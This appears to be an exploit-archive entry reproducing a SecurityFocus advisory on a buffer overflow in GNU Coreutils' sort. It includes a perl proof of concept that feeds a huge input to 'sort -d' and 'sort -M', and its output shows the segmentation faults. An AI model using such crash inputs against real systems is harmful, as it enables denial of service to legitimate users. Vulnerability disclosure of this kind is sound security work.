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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

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source: https://www.securityfocus.com/bid/57492/info

GNU Coreutils is prone to a buffer-overflow vulnerability because it fails to properly bounds check user-supplied input.

A local attacker can exploit this issue to crash the affected application, denying service to legitimate users. Due to the nature of this issue, arbitrary code-execution may be possible; however this has not been confirmed. 

% perl -e 'print "1","A"x50000000,"\r\n\r\n"' | sort -d
[1] 13431 done perl -e 'print "1","A"x50000000,"\r\n\r\n"' |
13432 segmentation fault sort -d

% perl -e 'print "1","A"x50000000,"\r\n\r\n"' | sort -M
[1] 13433 done perl -e 'print "1","A"x50000000,"\r\n\r\n"' |
13434 segmentation fault sort -M